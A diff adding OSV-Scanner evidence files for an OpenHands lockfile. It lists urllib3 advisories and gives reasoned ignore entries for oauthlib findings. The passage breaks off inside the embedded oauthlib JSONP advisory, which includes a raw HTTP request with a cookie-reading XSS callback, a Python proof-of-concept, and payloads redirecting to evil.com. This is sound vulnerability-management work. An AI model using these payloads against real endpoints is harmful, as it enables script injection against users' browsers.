index 000000000..38c9aee84 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.txt @@ -0,0 +1,443 @@ +argv: ["rtk", "proxy", "/osv-scanner", "scan", "source", "--config", "/ci-config.toml", "--no-resolve", "--lockfile=requirements.txt:/baseline.lock", "--format", "json"] +cwd: +started_utc: 2026-09-30T15:47:24.275281+00:00 +ended_utc: 2026-09-30T15:47:24.992410+00:00 +exit_code: 1 + +stdout: +{ + "results": [ + { + "source": { + "path": "/baseline.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "urllib3", + "version": "2.7.0", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-8988-9cw3-xx77" + ], + "aliases": [ + "CVE-2026-97687", + "GHSA-8988-9cw3-xx77" + ], + "max_severity": "7.6" + }, + { + "ids": [ + "GHSA-gh4c-6fx4-qh6g" + ], + "aliases": [ + "CVE-2026-97688", + "GHSA-gh4c-6fx4-qh6g" + ], + "max_severity": "6.9" + }, + { + "ids": [ + "GHSA-vxq7-64xx-v4gw" + ], + "aliases": [ + "CVE-2026-97689", + "GHSA-vxq7-64xx-v4gw" + ], + "max_severity": "8.9" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-8988-9cw3-xx77/GHSA-8988-9cw3-xx77.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "urllib3", + "purl": "pkg:pypi/urllib3" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.26.0" + }, + { + "fixed": "2.8.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.26.0", + "1.26.1", + "1.26.10", + "1.26.11", + "1.26.12", + "1.26.13", + "1.26.14", + "1.26.15", + "1.26.16", + "1.26.17", + "1.26.18", + "1.26.19", + "1.26.2", + "1.26.20", + "1.26.3", + "1.26.4", + "1.26.5", + "1.26.6", + "1.26.7", + "1.26.8", + "1.26.9", + "2.0.0", + "2.0.0a1", + "2.0.0a2", + "2.0.0a3", + "2.0.0a4", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "2.2.0", + "2.2.1", + "2.2.2", + "2.2.3", + "2.3.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.6.1", + "2.6.2", + "2.6.3", + "2.7.0" + ] + } + ], + "aliases": [ + "CVE-2026-97687" + ], + "database_specific": { + "cwe_ids": [ + "CWE-295", + "CWE-440" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T14:46:04Z", + "nvd_published_at": "2026-09-29T16:17:18Z", + "severity": "HIGH" + }, + "details": "## Impact\n\nurllib3 supports configuring TLS independently for an HTTPS proxy and the target server.\n\n`proxy_ssl_context`, `proxy_assert_hostname`, and `proxy_assert_fingerprint` configure the TLS connection to the proxy. `ssl_context` and the other target-specific TLS parameters configure the connection to the target server.\n\nIn urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could:\n\n1. Ignore `proxy_ssl_context` and use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy.\n2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy.\n3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy.\n\nIn particular, configuring `cert_reqs=\"CERT_NONE\"` for a target server could overwrite the `verify_mode` of the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context.\n\nAn attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection.\n\nWhen HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information.\n\nA TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake.\n\nIn CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server.\n\n## Affected Usages\n\nCode using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases.\n\n### 1. The target SSL context is used for an HTTPS forwarding proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and `proxy_ssl_context` is configured for the proxy.\n\nurllib3 may ignore `proxy_ssl_context` and use the target server's `ssl_context` for the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy.\n\n### 2. The target verification policy overrides the proxy policy\n\nAn HTTPS proxy is configured with `proxy_ssl_context`, while the target server uses a different certificate-verification policy.\n\nurllib3 may apply the target server's `cert_reqs` value to the proxy SSL context. For example, setting `cert_reqs=\"CERT_NONE\"` for the target server may also disable certificate verification for the HTTPS proxy, even when `proxy_ssl_context` was configured to require verification.\n\nThis issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations.\n\n### 3. A mutated proxy SSL context is reused\n\nThe same SSL context is reused as `proxy_ssl_context` across multiple connections, and certificate verification is disabled for one target server.\n\nurllib3 may modify the proxy SSL context's `verify_mode` in place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification.\n\n### 4. Target-specific TLS identity or credentials are applied to the proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured.\n\nurllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to:\n\n- send SNI intended for the target server to the proxy;\n- verify the proxy using a hostname or certificate fingerprint intended for the target server; or\n- present a TLS client certificate intended for the target server to the proxy.\n\nCode connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue.\n\n## Remediation\n\nUpgrade to urllib3 2.8.0 or later.\n\nurllib3 2.8.0 independently applies the explicitly configured `proxy_ssl_context` and proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake.\n\nFor backward compatibility, when an HTTPS proxy is used with `use_forwarding_for_https=True` and `proxy_ssl_context` is not provided, urllib3 2.8.0 continues to use `ssl_context` for the TLS connection to the proxy. This configuration emits a `FutureWarning`. In urllib3 3.0, passing `ssl_context` with `use_forwarding_for_https=True` for an HTTPS proxy will raise an error. Applications should use `proxy_ssl_context` to configure TLS for an HTTPS forwarding proxy.\n\nThe fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.", + "id": "GHSA-8988-9cw3-xx77", + "modified": "2026-09-30T15:00:05.369237042Z", + "published": "2026-09-30T14:46:04Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97687" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/pull/5093" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3" + }, + { + "type": "PACKAGE", + "url": "https://github.com/urllib3/urllib3" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/releases/tag/2.8.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "urllib3: HTTPS proxy TLS configuration may be ignored or overridden" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gh4c-6fx4-qh6g/GHSA-gh4c-6fx4-qh6g.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "urllib3", + "purl": "pkg:pypi/urllib3" + }, + "ranges": [ + { + "events": [ + { + "introduced": "2.6.2" + }, + { + "fixed": "2.8.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "2.6.2", + "2.6.3", + "2.7.0" + ] + } + ], + "aliases": [ + "CVE-2026-97688" + ], + "database_specific": { + "cwe_ids": [ + "CWE-835" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T15:00:38Z", + "nvd_published_at": "2026-09-29T16:17:18Z", + "severity": "MODERATE" + }, + "details": "### Impact\n\nurllib3's streaming API is designed for the efficient handling of large HTTP responses by reading content in chunks instead of loading the entire response body into memory at once.\n\nurllib3 can decompress response bodies according to the HTTP `Content-Encoding` header. When streaming a compressed, chunked response, urllib3 first consumes data already buffered by the decoder before reading the next HTTP chunk.\n\nHowever, urllib3 versions from 2.6.2 through 2.7.0 could enter an infinite loop when a chunked response contained bytes after the end of the Deflate stream. If the decompressed body exceeded the requested streaming chunk size, Python's zlib implementation could retain the trailing bytes as unconsumed input after reaching the end of the compressed stream. urllib3 would repeatedly attempt to decode those same bytes without making progress or reading more data from the network.\n\nA malicious server could exploit this behavior to cause excessive CPU usage and prevent the affected request from completing on the client. Network read timeouts would not interrupt the loop because no further socket operation was required.\n\n### Affected usages\n\nApplications and libraries using urllib3 versions 2.6.2 through 2.7.0 may be affected when all of the following conditions are met:\n\n1. Compressed responses from an untrusted source are streamed using `HTTPResponse.stream(amt=N)` or `HTTPResponse.read_chunked(amt=N)` with a positive, finite chunk size.\n2. Content decoding is enabled.\n3. The response uses both `Transfer-Encoding: chunked` and `Content-Encoding: deflate`.\n4. The decoded body exceeds the requested chunk size and the encoded body contains bytes after the end of the Deflate stream.\n\n`HTTPResponse.stream()` uses a finite chunk size by default and is therefore affected when the other conditions are met.\n\n### Remediation\n\nUpgrade to urllib3 2.8.0, in which the Deflate decoder stops accepting input after reaching the end of the compressed stream and no longer reports trailing bytes as data that can produce more decoded output.\n\nIf upgrading is not immediately possible, disable automatic content decoding for responses from untrusted sources by setting `decode_content=False`, or reject streamed responses using the Deflate content encoding. Applications that disable automatic decoding must handle the compressed response safely at another layer.", + "id": "GHSA-gh4c-6fx4-qh6g", + "modified": "2026-09-30T15:15:04.066660799Z", + "published": "2026-09-30T15:00:38Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-gh4c-6fx4-qh6g" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97688" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/commit/ea2ad7b21a80da3632f80016526a18864586077f" + }, + { + "type": "PACKAGE", + "url": "https://github.com/urllib3/urllib3" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/releases/tag/2.8.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "urllib3: Chunked Deflate streaming can enter an infinite loop" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-vxq7-64xx-v4gw/GHSA-vxq7-64xx-v4gw.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "urllib3", + "purl": "pkg:pypi/urllib3" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.10.3" + }, + { + "fixed": "2.8.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.10.3", + "1.10.4", + "1.11", + "1.12", + "1.13", + "1.13.1", + "1.14", + "1.15", + "1.15.1", + "1.16", + "1.17", + "1.18", + "1.18.1", + "1.19", + "1.19.1", + "1.20", + "1.21", + "1.21.1", + "1.22", + "1.23", + "1.24", + "1.24.1", + "1.24.2", + "1.24.3", + "1.25", + "1.25.1", + "1.25.10", + "1.25.11", + "1.25.2", + "1.25.3", + "1.25.4", + "1.25.5", + "1.25.6", + "1.25.7", + "1.25.8", + "1.25.9", + "1.26.0", + "1.26.1", + "1.26.10", + "1.26.11", + "1.26.12", + "1.26.13", + "1.26.14", + "1.26.15", + "1.26.16", + "1.26.17", + "1.26.18", + "1.26.19", + "1.26.2", + "1.26.20", + "1.26.3", + "1.26.4", + "1.26.5", + "1.26.6", + "1.26.7", + "1.26.8", + "1.26.9", + "2.0.0", + "2.0.0a1", + "2.0.0a2", + "2.0.0a3", + "2.0.0a4", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "2.2.0", + "2.2.1", + "2.2.2", + "2.2.3", + "2.3.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.6.1", + "2.6.2", + "2.6.3", + "2.7.0" + ] + } + ], + "aliases": [ + "CVE-2026-97689" + ], + "database_specific": { + "cwe_ids": [ + "CWE-770" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T14:46:18Z", + "nvd_published_at": "2026-09-29T16:17:18Z", + "severity": "HIGH" + }, + "details": "## Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for efficiently handling large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When decoding a [chunked-transfer-encoded response](https://httpwg.org/specs/rfc9112.html#chunked.encoding), this API reads each chunk's size field by buffering until it sees `\\n` or EOF.\n\nA malicious HTTP server can return `Transfer-Encoding: chunked` and then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended.\n\nTo fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers.\n\n## Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the [read_chunked()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read_chunked) and [stream()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.stream) methods of the HTTPResponse object.\n\nThis also affects requests streaming API, which uses urllib3 under the hood.\n\n## Remediation\n\nUpgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the [read()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read) method.", + "id": "GHSA-vxq7-64xx-v4gw", + "modified": "2026-09-30T15:00:05.904945330Z", + "published": "2026-09-30T14:46:18Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97689" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed" + }, + { + "type": "PACKAGE", + "url": "https://github.com/urllib3/urllib3" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/releases/tag/2.8.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H", + "type": "CVSS_V4" + } + ], + "summary": "urllib3: HTTPResponse.stream()/read_chunked() buffers an unbounded chunk-size line into memory" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} + +stderr: +Warning: `source` exists as both a subcommand of OSV-Scanner and as a file on the filesystem. `source` is assumed to be a subcommand here. If you intended for `source` to be an argument to `source`, you must specify `source source` in your command line. +Starting filesystem walk for root: / +Scanned /baseline.lock file and found 174 packages +End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 23.367244ms elapsed, 23.367324ms wall time +GHSA-hj66-6f7g-4r5v and 1 alias have been filtered out because: oauthlib 0.6.1 through 3.3.1 (fixed in 4.0.0): RevocationEndpoint wraps its response in the request's callback parameter only when constructed with enable_jsonp=True (oauthlib/oauth2/rfc6749/endpoints/revocation.py:72-73 and 81-82 in 3.3.1); oauthlib's pre-configured servers never pass it. Two allowed locks pin 3.3.1: the OpenHands recipe lock and the frozen, evaluation-only Lumibot lock (run offline under bwrap). A text search of one hash-verified artifact per requirement of both locks found no enable_jsonp or create_revocation_response and no importer of oauthlib's endpoints, grant types or servers: oauthlib is imported only by requests-oauthlib 2.0.0 (client classes, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class); every other RevocationEndpoint is Authlib's own class, and Authlib does not import oauthlib. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: the OpenHands lock was relocked onto PyJWT 2.14.0 on 2026-09-30 and still pins oauthlib 3.3.1; as of 2026-09-30, oauthlib 4.0.0 (PyPI, 2026-09-28T06:01Z) was inside the 7-day window the upstream workspace's exclude-newer applies (until 2026-10-05T06:01:19Z), so the relock onto it follows, tracked in #518 (owner: bc, session native-agent-stack-bc; earliest 2026-10-05T18:40:43Z, when PyJWT 2.15.1 has left its window too; due 2026-10-08), and in the same change deletes the OpenHands entry of IGNORE_ALLOWED_LOCKS, whose sha256 pin fails any change to that lock. The Lumibot lock stays frozen on 3.3.1, so on 2026-10-13 renew this ignore for that lock alone with a new dated reason, or delete that lock. +GHSA-xpv3-w29h-x7cv and 1 alias have been filtered out because: oauthlib >= 3.0.0, < 4.0.0 (fixed in 4.0.0; the scanned locks pin 3.3.1): an oauthlib authorization server compares the PKCE code_verifier with == (code_challenge_method_s256 at oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49 and code_challenge_method_plain at :61, in 3.3.1), called only from AuthorizationCodeGrant.validate_token_request (line 506) when a token endpoint handles a request. Neither allowed lock (the OpenHands recipe lock and the frozen Lumibot lock) runs an oauthlib authorization server: in a text search of one hash-verified artifact per requirement of both locks, oauthlib is imported only by requests-oauthlib 2.0.0 (WebApplicationClient, LegacyApplicationClient, the oauth1 Client, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class), and nothing imports oauthlib's grant types, endpoints or servers; the PKCE code in openhands-sdk, requests-oauthlib and google-auth-oauthlib only generates a verifier as a client. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: as for GHSA-hj66-6f7g-4r5v; the OpenHands relock onto oauthlib 4.0.0 removes that lock's pin, and on 2026-10-13 this ignore is renewed for the frozen Lumibot lock alone or that lock is deleted. +Filtered 2 vulnerabilities from output +/ci-config.toml has unused ignores: + - GHSA-8mgp-746c-j5xp + - GHSA-h35f-9h28-mq5c diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.json b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.json new file mode 100644 index 000000000..137b99c59 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.json @@ -0,0 +1,640 @@ +{ + "results": [ + { + "source": { + "path": "/baseline.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "oauthlib", + "version": "3.3.1", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-hj66-6f7g-4r5v" + ], + "aliases": [ + "CVE-2026-49264", + "GHSA-hj66-6f7g-4r5v" + ], + "max_severity": "6.1" + }, + { + "ids": [ + "GHSA-xpv3-w29h-x7cv" + ], + "aliases": [ + "CVE-2026-49265", + "GHSA-xpv3-w29h-x7cv" + ], + "max_severity": "6.8" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 3.3.1", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hj66-6f7g-4r5v/GHSA-hj66-6f7g-4r5v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0.6.1" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.6.1", + "0.6.2", + "0.6.3", + "0.7.0", + "0.7.1", + "0.7.2", + "1.0.0", + "1.0.1", + "1.0.2", + "1.0.3", + "1.1.0", + "1.1.1", + "1.1.2", + "2.0.0", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49264" + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:53:41Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location='https://evil.com/'//\",\n \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location='https://evil.com/'//();\n [200] Content-Type: (none) Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.", + "id": "GHSA-hj66-6f7g-4r5v", + "modified": "2026-09-29T18:00:06.461704652Z", + "published": "2026-09-29T17:53:41Z", + "references": [ + { + "type": "WEB", + "url": 